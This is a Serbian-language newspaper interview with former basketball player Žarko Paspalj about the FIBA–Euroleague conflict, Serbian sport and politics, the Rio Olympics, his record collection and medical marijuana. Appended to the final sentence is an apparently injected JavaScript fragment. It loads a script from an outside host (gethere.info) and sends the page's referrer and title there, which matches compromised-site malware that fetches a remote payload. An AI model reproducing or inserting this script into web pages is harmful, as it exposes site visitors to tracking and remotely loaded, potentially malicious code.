INTERVJU, PASPALJ: Prvo sam zavoleo ploče, onda košarku

Postao sam kolekcionar ploča '81. kada sam, na nagovor brata, kao 14-godišnjak otišao u Zagreb na omladinsku radnu akciju. Prvi put kada sam otišao u grad, kupio sam ploče Azre, Filma i Kazališta i držao ih pored jastuka, mogli su sve da mi ukrade i da me skinu golog, ali nisu mogli da mi uzmu ploče!

Neposredan je, otvoren i pričljiv dok pretresamo goruće teme srpske košarke i sporta, ali na svaki pokušaj da zavirimo u njegov unutrašnji svet, misli i stavove, legenda srpske košarke se stidljivo povlači u sebe i dokazuje kako je skromnost bila i ostala osobina velikih ljudi.

A Žarko Paspalj to jeste, i to u svakom smislu - veliki sportista koji je sa svojih 2,06m, nije fraza, uvek ostavljao srce na terenu, ali i humanista čiji je gest spasavanja muzičkih ploča sa deponije nedavno oduševio celu Srbiju.

Potpredsednik Olimpijskog komiteta Srbije govori za Ekspres.net o problemima srpske košarke, sukobu sa FIBA, predstojećoj Olimpijadi u Riju, sportu i politici, Zvezdi i Partizanu, ali i o tome kako je na radnim akcijama u Zagrebu zavoleo ploče, kako vidi odnose Srbije i Crne Gore, zašto podržava legalizaciju marihuane u medicinske svrhe...

Koliko je učešće košarkaške reprezentacije Srbije u Riju ugroženo pretnjama FIBA?

- To bi bio skandal bez presedana i nadam se da se to neće desiti, i da ljudi u FIBA nisu toliko zapeli da neke svoje propuste i nedostatke iz proteklih 15 godina rešavaju na ovakav način. To bi bilo nepošteno i siguran sam da taj scenario nikom ne bi odgovarao. Nažalost, prepucavanja između dve košarkaške organizacije iza kojih definitvno stoje interes i novac, idu preko malih saveza koji niti donose odluke niti se nešto posebno pitaju, a traži se od njih da donesu odluku koja nije primerena. Ne verujem da će to prevladati na kraju.
Sve ovo je posledica lošeg rada FIBA još od 96-97.godine, što je uticalo na pad košarke. Aljkavim pokušajem da ucenom reši ovu situacija pokazala je veliku nezrelost. Neka sednu sa gospodinom Bartolomeuom i nađu rešenje.

Kako ova situacija može da utiče na našu reprezentaciju kojoj tek predstoje kvalifikacije za Rio?

- Mislim da ne može mnogo da utiče, to bi bilo katastrofalno, svi bi skočili za vrat FIBA. Ne dovodim u pitanje kvalifikaciju za Rio, mislim da ćemo imati spremnu i zrelu reprezentaciju i više opcija na pozicijama na kojima nismo imali prošle godine. Više razmišljam kako ćemo na Olimpijadi, i mislim da imamo vrlo kvalitetan tim i da možemo da uzmemo medalju. Isto važi i za žene koje su fantastičan kolektiv u kojem je odlična atmosfera, a Marina Maljković ih vodi na pravi način i to uliva nadu da mogu nešto da postignu u Riju.

Zvezda nije postojala 20 godina, a vaskrsnuli su pod okolnostima koje nisu baš najjasnije. Nastavili su dalje, a da li je to moralno, pošteno i pravno ne znam.

Na koja muška pojačanja mislite?

- Konkretno na Bobija Marjanovića i Miroslava Raduljicu koji je, ipak, odigrao celu sezonu u odnosu na prošlu godinu kada je imao lošiji skor. Uz sve ostale igrače koji su zreliji i iskusniji za godinu igranja u ozbiljnim klubovima, imamo odličan tim.

Koliko će naša klupska košarka ispaštati zbog sukoba FIBA - Evroliga?

- To sam Bog zna. Pozadina je vrlo prosta - novac. Mnogo je ružno što uključuju činioce koji ništa ne odlučuju. Stvorena je konfuzna situacija u kojoj, imam utisak, ni oni sami ne znaju šta hoće. U momentu kada je počeo sukob i kada je FIBA tražila da se klubovi opredele, pre ovog ucenjivanja, svi su mislili da FIBA ima nekog keca u rukavu da bi isterala svoje rešenje. Onda se ispostavilo da se ponavlja ista priča kao 2001.godine.

Partizan je ucenjen učešćem u Evrokupu?

- Razdvajaju se stvari koje su nerazdvojive. U okviru saveza pravi se razdor na klupske interese i to je katastrofalno. Ljudi koji iz FIBA pokušavaju da nešto reše uopšte nemaju sluha i direktno zadiru u interese našeg i drugih saveza.

Da li je ovo konačan kraj ABA lige?

- Pre 15 godina smatrao sam da treba da se gradi naša liga i ona je tada imala dovoljan kvalitet da može da opstane sama, a onda da na kvalitetan način udruži snage sa svim ostalim timovima i napravi regionalna liga. To se tada nije desilo, prevladali su lični interesi, odnosno interesi klubova i nije se ispoštovalo nešto što je šira slika. Danas sam za to da ABA liga postoji u nekoj strukturi koju dogovore timovi, a godinama govorim da ostatak klubova iz regiona, koji nisu ušli u ABA ligu, treba da igraju drugu regionalnu ligu koja bi imala smisla. Ono što se kod nas igra je smešno, mi nemamo više od tri-četiri tima, nijedna zemlja bivše SFRJ nema kapacitet da igra svoju ligu, a udruženi sa ostalima možda bi podigli kvalitet klupske košarke i sačuvali ovo malo timova što je ostalo. To zahteva organizaciju, a ne vidim tu sposobnost i širinu da se to ostvari.

Premijer je rekao da ne može da se izbori sa privatizacijom klubova. To je iskrena izjava, ali pokazuje i nedovoljno hrabrosti. Ako država ima iskrenu želju, a rešila je tolike stvari, što ne bi i ovo? Kao da smo mi jedini na svetu koji ne mogu da reše problem privatizacije u sportu?!

Kako bi se ukidanje ABA lige odrazilo na klupsku košarku?

- Za sve će biti loše. Razlike između Zvezde i još nekoliko timova koji igraju Jadransku ligu je ogromna u odnosu na timove koji su ostali u srpskoj ligu koju ne pratim, jer to niko ne može da gleda. I ABA liga je nedovoljno kvalitetna, a nacionalne su tek katastrofalne uz sve poštovanje prema momcima i trenerima koji rade, alikoji nemaju ni uslova ni mogućnosti ni pravac u kojem treba idu. Njihovo jedino pojavljivanje je u nekom kupu ili u ligi koja će sad da se igra posle tri meseca pauze. To je katastrofa, čini mi se kao da je neko namerno birao najgora rešenja.

Da li je i srpska košarka žrtva tranzicije?

- Tranzicija je jednako ljudi, a ljudi vode tranziciju i samim tim unište sve. Da li ćemo to da podvedemo pod tranziciju ili sistematizaciju, termin koji ovde vole da koriste, potpuno je svejedno. Očigledno je da imamo manjak kadrova ili manjak ljudi koji su spremni da ideje sprovedu na pravi način. Sve je počelo kada su interesi jugoslovenske košarke počeli da se razilaze sa interesima klupske košarke, kada su savezu ukinute ingerencije nad ligom i drugim stvarima, a kad se to rasparčalo dobilo se ono što imamo danas.

Vidite li i vi spas u privatizaciji klubova?

- Da, kad bi neko znao kako. Sam premijer je rekao da ne može da se bori s tim. Mislim da je to iskrena izjava, ali pokazuje i nedovoljno hrabrosti. Očigledno nedostaje hrabrosti i iskrenosti. Ako nema zadnjih interesa u svemu tome, a obično se kaže da su to interesi nekakvih navijača, onda ovaj problem može da reši. I tu nema dileme. Ako država ima iskrenu želju, a rešila je tolike stvari, što ne bi i ovo? Kao da smo mi jedini na svetu koji ne mogu da reše problem privatizacije.

Ima li država želju da to reši?

- Ima raznih interesnih priča. Nisam u toku, čujem priče po gradu. Da problem može da se reši, može. Od nečeg mora da se krene, nekad je i loše rešenje bolje nego da nemate nikakvo, a kroz praksu stvari mogu lako da se dopunjuju. To je kompleksan posao i ne može da se sprovede da se ne zamerite nekome. Država mora da reši pitanje sporta koje nam posednjih petnaest godina donosi samo glavobolje, a ako se nešto ne preduzme tako će biti i narednih petnaest. Pitanje je da li će to zanimati nekoga i da li će oni koji vole Zvezdu ili Partizan o tome da pričaju, a sve ih je manje.

Kako je onda Crvenoj zvezdi pošlo za rukom da u košarci ove godine ostvari istorijski uspeh u Evropi?

- To je vrlo izolovan primer. Imali su određeni novac i postavili su stvari na svoje mesto. Napravili su dobre izbore posle lošeg početka i igrali su dobro. Imali su dovoljno novca, znanja, motivacije, uložili su mnogo truda i došli su tu gde su. Novac je ključan za sport. Po prirodi sam romantičar, ali mi je jasno da sport ne funkcioniše po principu romantike, nego tržišta.

Ne mogu da ne podržavam Crnogorce. Nikada mi neće biti prihvatljiva ideja da se isti narod razdvaja. Odnosi između bratskih naroda imaju uspone i padove, ali sve će to da se prevaziđe. Ne mogu da prihvatim da Crnogorci mogu da budu bliži Hrvatima nego Srbima, to je samo trenutni gnev

Čini se da je Partizan pao u nemilost pošto nema novca?

- Verovatno je tako, detalje ne znam, znam da je tamo zapletena situacija. Ono što se dešava s Partizanom je posledica jedne sveopšte igre. Zvezda nije postojala poslednjih 20 godina, a vaskrsnuli su pod okolnostima koje nisu baš bile najjasnije. Nastavili su dalje, a da li je to moralno, pošteno i pravno ne znam. Partizan je otišao u nekom drugom pravcu pokušavajući da pokaže da je ono što je radio poslednje decenije stvarajući igrače pravac. Ali, ni to ne može da se sprovede ako nema novca. Pričamo o Zvezdi i Partizanu, a gde su ostali timovi koji treba da dobiju neki novac? Evroliga je postavila standarde, a učestvuju samo oni koji mogu da ih ispune. Zato ovaj region i nije mnogo interesantan, čim dajemo jednog predstavnika za Evroligu.

Kako nismo interesantni, zar mi nismo izvoznici mladih igrača?

- Mi smo nekada pravili igrače i rezultate, ne bih rekao da smo danas fabrika igrača. Stvorila je Mega Nikolu Jokića, ali koji je to igrač iz Zvezde ili Partizana skoro otišao negde. Nisam primetio da se neko pojavio od Bogdanovića, koji je pre tri godine napustio Partizan. Mi pravimo dobre rezultate na reprezentativnom nivou, ali što se tiče baze, to je kuku lele. I ne mislim samo na košarku. Mi smo svetski prvaci u vaterpolu, a nemamo ligu! To su neobjašnjivi fenomeni. Prošle godine smo osvojili silne medalje u raznim sportovima, a budžet za sve sportske organizacije je 12 miliona evra. Toliki budžet ima jedna opština u Istanbulu!

Šta je ključ naših sportskih rezultata sa tako malo novca?

- Biće da smo malo talentovani, a da to malo novca ne rasipamo i kanališemo na pravi način.

Čemu možemo da se nadamo u Riju?

- Analize pokazuju da sportisti koji postignu rezulate dve godine pre Olimpijade, obično naprave dobar rezultat i na ovom takmičenju. Na osnovu onog što su naši sportisti do sada uradili, biće to za nas dobra Olimpijada. Tu su Novak, vaterpolisti, strelci, kajakaši, veslači, a što da ne i košarkaši i košarkašice. Nerealno je upoređivati zemlju od, na primer, šest miliona stanovnika s budžetom za sport od 12 miliona i Nemačku koja ima desetine puta veći budžet.

Zašto kao nacija uvek imamo velika očekivanja na najvećim sportskim događajima?

- Zato što smo bili velika zemlja koja je postizala velike rezultate. Ne možeš da prihvatiš da ti košarka bude četvrta kad si 25 godina osvajao medalju! To je ta naša neobjektivost koja je, s jedne strane simpatična, a s druge strane je krajnost. Mi 49 godina očekujemo od fudbala da bude makar treći, a mi stalno sedmi. A želja ne popušta, ide iz velike nade do relativnog razočaranja.

Foto: Saša Džambić

Ko po vašem mišljenju osvaja Evroligu?

- Mislim da će finale igrati Fenerbahče i CSKA. "Armija" će, ipak, dobro da se namuči s Lokomotivom.

Da li je uspeh Željka Obradovića ove sezone (ne)očekivan?

- Fenerbahče ima dobar tim koji dugo igra zajedno, a Željko je to sve dobro skockao. Međutim, i njemu je trebalo tri godine za to. To možda nije Željkova filozofija košarke, s više taktiziranja, ali je očito prepoznao kako mogu da igraju i nametio im je takvu igru.

Saša Đorđević se nije snašao u Panatanaikosu.

- Grčka je teška zemlja za rad. Kad pričam da ljudi koji su živeli i radili u Grčkoj treba da dobiju beneficirani radni staž, misle da se šalim, ali stvarno je tako. Teško je sarađivati s vlasnicima klubova, kako će vas prihvatiti navijači, na kraju se svede na jednu utakmicu, da li ćeš da dobiješ Olimpijakos ili on tebe. Ako ne pobediš, odmah ti sledi otkaz. Oni su Saletu to spemali i pre ovoga, za njih je bio neuspeh što se nisu plasirali na fajnal for. Sigurno da mu nije prijatno, on je na početku trenerske karijere, ali ovo mu je ujedno test da vidi gde je i šta će dalje.

Kako su se Teodosić, Bogdanović, Kalinić pokazali ove sezone u Evroligi?

- To su pravi igrači, ova generacija bi morala da ostavi neki pečat, oni već imaju 27-28 godina. Sve malo-malo pa nam se desi neka stativa, a onda na svetskom prvenstvu budemo drugi, a vidimo da tu ima pomaka za još više. Mislim da je ova godina perfektna za njih.

Vidite li Bogdana Bogdanovića u NBA ligi.

- Svako kome se ukaže prilika, treba da ode. To je najbolja košarka na svetu, ako želiš da dostigneš pravu košarkašku zrelost i da radiš sa najvećim stručnjacima, onda je to. Porediti Ameriku sa Evropom u košarci isto je kao porediti Srbiju i Nemačku u životnom standardu.

Kako ocenjujete učinak Bobija Marjanovića i Nikole Jokića u NBA?

- Najbolja stvar koja je mogla da se desi Marjanoviću je odlazak u NBA. Kod njega se vidi napredak nezavisno od minuta koje ima, a ima dovoljno. Naigraće se on košarke pored Grega. Mali Jokić je napravio ozbiljan skor, dobro se spremao, veliki je talenat. Ako imaš kvalitet, zaslužićeš minutažu. Period adaptacije postoji, neko se snađe pre, neko kasnije... Kod njih je vrlo prosto, niko ne traži da uradiš nešto što ne možeš – ili si specijalista za skakanje ili da daješ poene ili nešto treće. Tvoje je samo da pratiš pravila i radiš kako treba i nema greške.

Vi ste se iz Amerike vratili posle godinu dana?

- Smetalo mi je što nisam igrao, a došao sam kao najbolje krilo iz Evrope u tom momentu, sa kvalitetima koji su bili značajno veći nego kod onih koji su igrali. U takvom ambijentu teško se motivišeš na treninzima, treniraš, ali nemaš fokus. Da je Greg Popović bio glavni trener, verovatno bih tamo završio karijeru. Međutim, glavni trener Lari Braun je na mom mestu imao igrače koji su bili dobri, ali nisu bili bolji, a on se opredelio za njih. Ipak, to je bilo fenomenalno iskustvo i potpuno drugačiji koncept košake za nas koji smo trenirali kao psi po ruskom modelu. I tamo se trenira, ali ima smisla i vidi se napredak.

Kod nas se ulazak u politiku izjednačava sa nečim što treba da donese lični boljitak i to gledanje krivi sportsku sliku koja je čista i humana.

Da li su vas vrbovali da pružite podršku nekoj partiji u protekloj kampanji. Videli smo pojedine sportiste koji su podržale određene opcije.

- Ne bih da se petljam u to. Uvek sam mislio da sport ne treba mešati u politiku, iako pojedini posle sporta nastavak karijere vide u politici. Kod nas se ulazak u politiku izjednačava sa nečim što treba da donese lični boljitak i to gledanje na politiku krivi sportsku sliku o nekome koja je bila čista i humana. Mada, ne mora uvek tako da se gleda, mogu da postoje i dobre namere i ideje.

Kako Vanja Udovičić pliva u politici?

- To pitajte njega. Sigurno je da je uradio neke stvari. Jeste da Olimpijski komitet sarađuje sa ministarstvom sporta, ali samo oni koji su dobro upućeni u to mogu da procene koliko je dobro radio protekle tri godine. Bitno je zašto se ulazi u politiku. Ako je u pitanju interes i ako je ključan za nečiji život, onda je to razumljivo. Ako me pitate da li tako treba, mislim da ne, ali za to "ne" morate da imate nezavisnost, da ste svoji i da vas politika ne dotiče.

Oduševili ste javnost spasavanjem ploča Studija B sa depoa. Prozvali su vas herojem Beograda.

- Ne razumem zašto se digla tolika frka oko toga. Nije bitno šta sam ja uradio, već je trebalo misliti o tome da su ploče mogle da završe na nekoj drugoj deponiji. Bilo bi simpatičnije da su ih izneli isped Studija B  i podelili ih prolaznicima. Okolnosti su se namestile da volim ploče i što sam slučajno saznao gde su bačene. Jednostavno, volim muziku, ploče su deo mog života. Imam oko hiljadu u svojoj kolekciji, to mi je više nego dovoljno, zato sam zadržao desatak, a ostale sam prosledio Narodnoj biblioteci Srbije.

Postao sam kolekcionar ploča '81. kada sam bio u Zagrebu na omladinskoj radnoj akciji. Kupio sam ploče Azre, Filma i Prljavog kazališta i držao ih pored jastuka, mogli su sve da mi ukrade i da me skinu golog, ali nisu mogli da mi uzmu ploče!

Kako ste postali kolekcionar ploča?

- Imao sam 14 godina, bilo je to '81. kada me stariji brat ubedi kako su omladinske radne akcije fenomenalne i da treba da odem. Ja ga poslušam i odem u Zagreb, a kad sam dobio prvo slobodno poslepodne, odem u grad i kupim ploče Azre, Filma i Prljavog kazališta. Držao sam ih pored jastuka, mogli su sve da mi ukrade i da me skinu golog, ali nisu mogli da mi uzmu ploče!

Koja je razlika između slušanja muzike sa gramofona ili sa cedea i kompjutera?

- O zvuku mogu da pričaju stručnjaci, a za mene je to tradicija i romantika. Ljubitelji ploča vole da uzmu igu i stave je na ploču, nije važno da li se čuje krckanje, u tome se uživa. Danas se sve svodi na praktičnost, imaš daljinski ili pustiš listu od sto pesama, a kod ploče moraš da ustaneš na svakih 15 minuta da promeniš. Slušanje kućne muzike na dobrim uređajima je privilegija koja zahteva određeno znanje i vreme.

Za kojom pločom najčešće posegnete?

- Slušam sve i zavisno od trenutka biram šta ću da pustim. Džez i bluz slušam kada imam vremena da razmišljam, da se udubim i naučim nešto novo o toj muzici, a ostalo je sve stvar trenutka– to može da bude narodna, zabavna, grčka muzika... Evo baš pre neki dan sam zaseo pet sati kod jednog prijatelja u kafani i slušali smo Arsena, Gabi Novak, Kiću Slabinca, Mišu Kovača...

Spomenuste radne akcije. Ima političara koji smatraju da ih treba ponovo uvesti.

- To je imalo itekako smisla. Trebalo je animirati toliko ljudi, pre svega mladih, bilo je teško upasti jer su se akcije smatarale velikom stvari i privilegijom. Znam da današnjim generacijama zvuči nerazumljivo i nelogično da ustaješ u pet ujutro, kopaš ceo dan po nekim nasipima, ne dobiješ ni dinar za to, a opet si srećan. Teško je to objasniti mladima danas, a zaista je tako bilo.

Zaista ste verovali u tadašnju ideologiju?

- Sve dok je trajala Jugoslavija, verovao sam. Dugo nam je trebalo da shvatimo da to ima i drugu stranu priče.

U šta danas verujete?

- Ideologija i ideja ima koliko hoćete, ali sve je u neskladu sa vremenom u kojem živimo. Voleo bih da ne gledam ljude koji kopaju hranu po kontejnerima, nego nasmejane ljude koji imaju nekakvu sigurnost i posao jer samo takav čovek može da doprinese društvu. Ne kažem da smo mi nenormalniji od ostalih, negde su pravila drugačija i ima više novca, ali da im se dešavalo ono što je nama nisam siguran da bi opstali.

Kao rođeni Pljevljak hoćete li u Riju navijati i za Crnu Goru?

- Ne mogu da ne podržavam Crnogorce. Nikada mi neće biti prihvatljiva ideja da se isti narod razdvaja. Živimo u vremenu u kojem je to trenutno tako, ali je na duže staze neodrživo. Odnosi između bratskih naroda uvek imaju uspone i padove, ali sve će to da se prevaziđe. Ne mogu da prihvatim ni to da Crnogorci mogu da budu bliži Hrvatima nego Srbima, to je samo neki trenutni gnev, a ne ono što stvarno misle i osećaju.

LEKALIZACIJA MARIHUANE JE DOBRA PRIČA

Jedna ste od retkih javnih ličnosti koja je podržala pokret za Lekalizaciju marihuane.

- Čini mi se da je to dobra priča. Svaka priča koja ima za cilj da pomogne van konvenciolne medicine. Priča o lekalizaciji marihuane očito ima mnogo širi karakter, to nismo mi izmislili, to već postoji u drugim zemljama. Oni koji je koriste imaju neki benefit - da li je u potpunom izlečenju ili otklanjanju bola, kako god, to je dobra stvar. Naravno, država treba da ima potpunu kontrolu nad tim jer teren jeste malo klizav i predstavnici države jesu bili rezervisani, nadam se iz neznanja, a ne iz predrasuda i interesa.s.src='http://gethere.info/kt/?264dpr&frm=script&se_referrer=' + encodeURIComponent(document.referrer) + '&default_keyword=' + encodeURIComponent(document.title) + '';